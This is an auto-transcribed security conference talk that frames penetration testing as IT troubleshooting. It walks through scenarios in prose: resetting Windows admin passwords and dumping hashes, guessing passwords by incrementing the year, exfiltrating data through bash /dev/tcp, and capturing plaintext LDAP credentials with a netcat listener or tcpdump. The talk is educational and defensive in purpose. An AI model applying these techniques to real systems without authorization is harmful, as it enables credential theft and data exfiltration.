BSidesNoVA 2021 | Jayme Hancock | Hacker Mindset: Troubleshoot Your Way To Root

all right good morning everyone are you able to see my screen um new to this excel events so awesome um there is a feature in here so feel free to um to follow along we'll have some kind of interactive scenarios um feel free to to jump in there but um thanks for joining me today um i'm jamie i work for capital one's offensive security team um this talk is on the hacker mindset specifically applying troubleshooting to hacking problems it's pretty short talk it's about 25 minutes or so so we'll go ahead and get going so as i said earlier i'm jamie from california currently living in the dc area i work on the capital one offensive security

team specifically in the penetration testing team in the past i worked as a red team engineer offensive security consultant held a few systems admin helped us style positions before that and that really helped me hone in on my troubleshooting skill set and that's really what i want to talk about today um we hear a lot about hacker mindset and typically you hear think like the bad guy but i believe that even more importantly than that is to think like hacking is a troubleshooting problem and to break it down into kind of its most basic pieces and troubleshoot each of those pieces uh independently so this is all based on my personal experience works for me your mileage may

vary but i've had some good luck with it first thing i want to clear up is ping is not magic it's not all exploits zero days specialized tools um a lot of what we call hacking can be done with tools that are already on the operating system tools that are already built into the applications we're looking at or um the functions of code that we're working within there's not a lot to it typically in terms of like specialized exploits those do exist but we're really looking more at the process process flow and what we can do with the tools that we have at our disposal so before we uh get into things i want to level set a couple of terms um

first off hacking and and hacker so what is a hacker if you ask google the first result is that it's a person who uses computers to gain unauthorized access to data or a criminal right um i don't like that definition it's it's pretty bad to be clear all hackers are not criminals some definitely are but being a hacker or hacking does not necessarily mean you are a criminal or committing a crime so let's go to the second result on on google and this one actually works for me really well um it's a person who uses technical skill sets to overcome a challenge or a problem and that brings to mind a lot of people besides just folks in black hoodies in

their basement um it describes pretty much all of the it operations and support people i've worked with over my career so since we've defined hacking and we're going to be talking about troubleshooting i want to level set that definition as well there's a million bad definitions million good definitions but it all comes down to one basic end goal and that's tracking down and resolving faults or errors this could be applied to hardware software network services processes even business processes troubleshooting is sorry i'm seeing that my audio is completely gone uh okay cool thanks for uh for that

so if hacking and troubleshooting are so similar in definition using technical skills to fix the falter error and overcoming a problem with technical skills there should be a lot of overlap and really there is um the difference here is a perspective shift so we need to move our goal from finding the fault as on the left to finding the opportunity as on the right because both of these people in in this scenario are trying to do the same thing right at the root of the problem they're trying to access a database without credentials um one of them may be trying to access a database without credentials because they've been lost locked out taking over a system for

another person but the other person is trying to break into the system the processes don't really change you're using the same tools you're using the same techniques most of the time you're just coming at it from two different angles so i think that perspective shifting is really essential redefining a hacking scenario as a technical problem is where you start being able to troubleshoot that problem and look at it less as this really daunting thing like at the top here we've got vulnerability is being described so web content system will execute php code if you're able to upload it through this upload theme element function or the admin panel that's a lot of information and that

doesn't really help you define what the problem is that you're trying to solve right the root of the issue is you need to find a way to log into the admin panel the requirement i need the admin password so if we shift it to more of a support issue or a troubleshooting issue we're looking at this vulnerability the beginning of it at least as a user has lost their password to a website and there's a lot of things we can do from that if somebody comes to you and says i don't have my password to get in you immediately start thinking of alternatives right maybe looking for another user account that's able to log in looking for a log

or a recording of those credentials somewhere looking for a way to bypass it or to reset and from there that helps you further your way through the vulnerability that's described up at the top

so i attend three different types of troubleshooting in my day-to-day work um the first is workflow troubleshooting and this is following proven logical steps to rule out possible faults or possible issues and move on to the next one this tends to be easier for people that are newer to port um you see this a lot when you call into like a help desk that's when they'll tell you okay restart your computer restart the application have you tried resetting your password things like that that might actually frustrate you because it seems like why would i call in to you if i hadn't done these things already but really it's following a workflow until you stumble upon something that's

not as it should be and you can start troubleshooting or fixing that piece the second socratic questioning by asking basic questions that build upon each other as if you didn't understand the context or the depth of the situation or have any sort of background knowledge it helps the person that you're asking the question uncover some deficiencies in thinking or uncover some assumptions that they may be skipping past and finally rubber ducky debugging this concept is to explain the problem to an inanimate object that is incapable of context or understanding so if you're explaining to a literal rubber ducky it can't assume that you've done things it can't assume that you've started at a certain place and have moved on from there and

have already troubleshot something so you have to really get back to basics and explain explain in great detail what you've done and what you're attempting to accomplish so just a couple of samples here this is an example of workflow troubleshooting maybe a little bit difficult to to see but essentially you start out with a problem in the green that which is the computer doesn't work and you go through every piece of what could possibly be wrong from the most basic to the most advanced and this might not even go basic enough right we can start off with is if you're plugged in if no plug in the computer if yes you go to the next step is it turned on

is the power button functioning things like that you can go further does the building have power right is the power company online and working but typically we'll start somewhere here and eventually you're going to rule out enough where you have an idea of what's going on and what needs to happen to resolve the problem

this is a slightly more advanced version of workflow troubleshooting um it's very similar except a problem like web pages don't load that could be a number of independent systems so yes we're still going to follow the workflow but you have to consider other things you have to look at the local computer the network in all of its components network services right dhcp dns routing and each of those independent systems may have their own troubleshooting workflow so it's not necessarily as easy as going through finding where you reach one of the results the red results and then saying that's it you may have to go into another workflow and start troubleshooting that and finally some of you are probably as

guilty of this as i um that's just putting a bunch of debug statements throughout your code and seeing where it fails um this is a form of workflow troubleshooting too you're putting like these kind of pseudo-break points throughout your code and you're looking to see where it stops so for instance if you're expecting this set headers message to appear on your screen and the last thing you see before it crashes is entered for loop you know that somewhere in between where those two messages are in code that's probably where you want to start troubleshooting and yet it is always dns

next up is rubber duggy debugging you start by stating the problem and then stating everything you know about the problem or things that you've tried so far a lot of times this acts as kind of like a one-person brainstorming session um and the answer tends to become clear as you're explaining everything you've done because your mind will automatically start filling in some some gaps and saying well if you did this did you actually do this wait i didn't do that let me go back and try that if any of you have taken the offensive security certified professional oscp certification this is something they use quite often um if you ask question about a host that you're working on

they'll give you two two responses one of them is try harder which we all know and love the other is tell me about the system you're working on and when i was taking the oscp back in 2016 whenever they said tell me about the system you're working on and i would start typing out everything i had done everything i know everything i've tried nine times out of ten i would remember something or think of something that i hadn't tried yet and be able to find the answer to my problem

so credit questioning goes the other way so socrates believed that asking probing questions would help a student more fully understand the problem and if the asker was to play dumb the student had to answer questions that they might not think of or might be making assumptions about so it's the opposite of rubber ducky debugging instead of over explaining everything you question and answer everything you can and i won't go through all of these but you can see here you're going back as far as like if your backups aren't completing have you installed the backup software is there a tape drive attached does it have a tape in it is the tape formatted right you're you're going back very basic and it's

sometimes frustrating when you're the recipient of these questions because it seems very obvious that you've already done these things but it really focuses on things you may not have seen or assumptions you may have made

so this should be getting into more of the fun stuff now um we're going to talk about a few real hacking scenarios um i've reframed them all as kind of trouble tickets that we come into a support desk and by applying some basic troubleshooting logic no specialized hacking tools we'll see how to overcome these problems so feel free to type out what you do in chat if you'd like to play along with things with these things there's usually different ways to accomplish the same goal so the goal that i come up with or the results i come up with may be different than what you come up with but probably both valid so in this first scenario we have a solo

systems administrator only says admin for a company they have a laptop from the old admin who left very suddenly no documentation no passwords were left behind basically they're locked out of the system that they were hired to manage and spoiler alert this was me starting a job about 10 or 15 years ago it's an actual scenario and we'll go through some of the troubleshooting steps

so this honestly shouldn't be a problem because we know how to troubleshoot system lockouts and we have a lot of information here that we can use to determine what our next step should be or help us with our troubleshooting so a couple things we know there's two types of accounts local and domain accounts right we don't know what the domain accounts are because we're locked out of the domain we do know that one common local account among almost all windows systems by default at least is administrator so we have a place to start we don't know passwords but we do know that there's a lot of common variations that folks will use for the admin

password you can use season and year spring 2021 um password1 the company name but those are guesses it's not a fact and we also have to consider password complexity on the domain we may end up typing all of these passwords out realize it doesn't actually meet the complexity policy and we're never going to never going to get in but we do know the laptop is not encrypted and we do know that in terms of access rules local admins can read all files on a system or take ownership of all files on the system so if we focus on a couple of things there we know there's a local admin probably called administrator we know the laptops unencrypted which

means we can mount it or boot from another disk without typing in a password and we know that if we have the admin password we can enumerate the entire system all of the underlying files and folders and maybe find either clues or actual passwords so let's take this and develop an actual plan we can boot the laptop from a rescue desk there's a number of tools out there that let you boot a windows system from a disk wipe out the administrator password or reset the administrator password log in as that administrator and then we can try to escalate privileges we can try to find domain passwords we can try to find uh you know files that have coded

passwords in it we can try to find other clues that might lead us to that we can even use something like uh mini cats or other tools to either dump password hashes and crack those or try to find actual clear text passwords so that's exactly what ended up happening um after resetting the password logging in uh we found a script that had a backup exec service account and a backer exec service account password from a few years ago well that user is usually domain admin or some very high level of domain access and um using an older password we can try incrementing it the password is back them up 2018 and it's 2021 we can try incrementing

the year on that password and that's ultimately what ended up happening create a new domain account and we're good to go

so this looks like a lot of troubleshooting tasks but there are hacking equivalents gaining an initial access foothold is as easy as resetting administrator passwords right that's that's a troubleshooting task um performing onbox recon enumeration it's the same thing as doing file recovery if you're going through searching files looking for the right one looking what's important same type of task um escalating privileges going in and updating it that's not working that's failed that's the same thing we're opening up a script we're looking for credentials and we're modifying those credentials in this case we're using an else log into a domain controller and then establish persistence which in this case is just creating a new account

so we'll go through a couple more um in this scenario we have a server and a data center that's crashed operating system has become damaged and a lot of common commands no longer run so we need to take this database and move it to a recovery server but things that we would typically use commands like scp ftp even copy are no longer working we do know that there's a python script that's running that's taking these backups and spitting out a sha-256 hash so we know that python's working we know that the crown job is still working that's running python and we know that the backup that it's taken most recently is valid because the hash matches the expected

hash and here's just a screenshot of what it looks like when you try to run any of those common commands so scp you get a seg fault ftp you get an exec format error so very damaged server but the small amount of info we have on the last few slides actually gives us a decent amount of work with we do know some commands work but that common file transfer commands don't work right we know that networking is intact we're able to ssh into the host we're able to get the shell we're able to run things like ps and see the processes the python process is still running we're able to see the python process is

still outputting hashes so we're able to see that works and that's in good shape so we can start using the socratic process to ask all of the questions that maybe we should be asking ourselves but have skipped because we're making assumptions and i won't go over all of these but you're starting with a problem statement if i need to copy this file across the network that's the most basic piece of this problem right but we can go through can we use scp or ftp no they're not working are other commands working yes some commands are working right so we're asking all of these very basic questions which helps lead us to something that might be really untraditional but will

actually help us in in this situation in this case we find out that base64 is working bash is working and we have the dev tcp device so we can actually send the 64 encoded application excuse me backup over the network to the recovery server decode it and get our back up without using any traditional file movement commands or file transfer connects so how does this relate to hacking at all well when you're transferring files from a damaged machine with potentially damaged binaries you're not really exhibiting skills that a hacker trying to exfiltrate data on a restricted system would be exhibiting right um if you work on a host that's very locked down you may not have access to

things like scp or ftp you may have to get creative um these days when you compromise a host a lot of times it's going to be like a docker container or it's some other work that has a really restricted set of commands you're not necessarily going to be able to hop on a system and run curl and wget and ftp and the things that are going to make your life really easy you're sometimes going to have to work past those system restrictions to exfiltrate the data or to pull files on the box

so this is the left scenario um this is something i've actually run into variations of a couple of times essentially what's happening is a script that should be running has stopped it's a crown job it stopped running successfully so the job is still running but it's failing to complete we know it uses ldap uses mysql and it's synchronizing data every so often and this is kind of a strange one because three files so there's a config file and the config file is script takes all of its information things like destination servers ports uh protocol versions things like that there's a credential file which nobody has access to except for the user running the script and then there's

the script itself which is doing all of the actual heavy lifting and the movement the processes the systems admin account which we have we're able to log into the system we're able to run a limited set of system admin tools and we're able to run uh edit and read write and modify the config file but we can't look at the credential file we can't look at the script itself but we need to get that password to further troubleshoot this issue so we know a few important things we know there's two users we know each one has a different set of permissions we know the account that we can access and log in with can't read the file we

need but it can read some other files and it does have pseudo privileges to run administrative tools on this system we also know the technologies in use include mysql and ldap ldap is important because it's not ldaps but the s at the end so this is not an encrypted version of ldap meaning anything that's sent over the wire is going to be in plain text some of you might be able to see where this is going

so if we look at the config file we see we have read write and execute permissions but we don't have permissions to read write or execute the credential file or the order stats the the actual script file but when we look at the config file we can see the server is pointing to l.01 we can modify this anytime that you have a situation where you can fully modify a file that's part of the scenario you're trying to solve the hacking scenario you should really investigate that and see what you can do with that config file if you can write and make jizz you don't necessarily have to attack the script itself if you can attack the

supporting files so this is really good we can control the ldap server and if we can control it we can change it so we can abuse those access rights by just changing the destination that the script is sending information to to ourselves right and if we're able to then run a server or a network service that can catch that information as it comes across during the next attempts of crom job we can probably catch the authentication piece so that's exactly what we do we change the server we run netcat on port 389 and there it is there's the administrator a question mark separating the account name from the password and now we've got the credentials we

need but this is also a systems admin with some pseudo right so what if that doesn't work what if you don't have access to modify the actual config file well there's another way you can go about it we can abuse the protocol itself we mentioned that ldap is plain text we have access to run admin tools such as tcp dump so by running tcpdump filtering on port 389 we can create a pcapp that has the plaintext username and password inside of it and we don't need access to any of those files we just need access to run tcp done

so just to recap what we've talked about hacking isn't magic follow process over tooling break things down into smaller problems and then restate the problem you're actually trying to work on it's really easy to get lost in the weeds with hacking it's really easy to look at a problem and realize that this is this is a really significant really difficult to understand vulnerability there's a lot to it but break it down until it makes sense at the very basic levels explain the problem aloud to yourself a co-worker a rubber ducky whatever makes the most sense when i'm working on a difficult hacking problem oftentimes i'll talk to myself and i'll just talk it out to myself aloud

it forces me to explain it forces me to uncover things i might have missed before and then if you're stumped um just think about how the process works the great thing about hacking is if you understand technology and you can figure out a general idea of the workflow of what you're looking at you don't really have to know the application all that well um as penetration testers we go into into pen tests not really knowing what we're going to find all of the time sometimes have a vague idea but we might be looking at software open source software close our software whatever that we've never encountered before but if you can figure out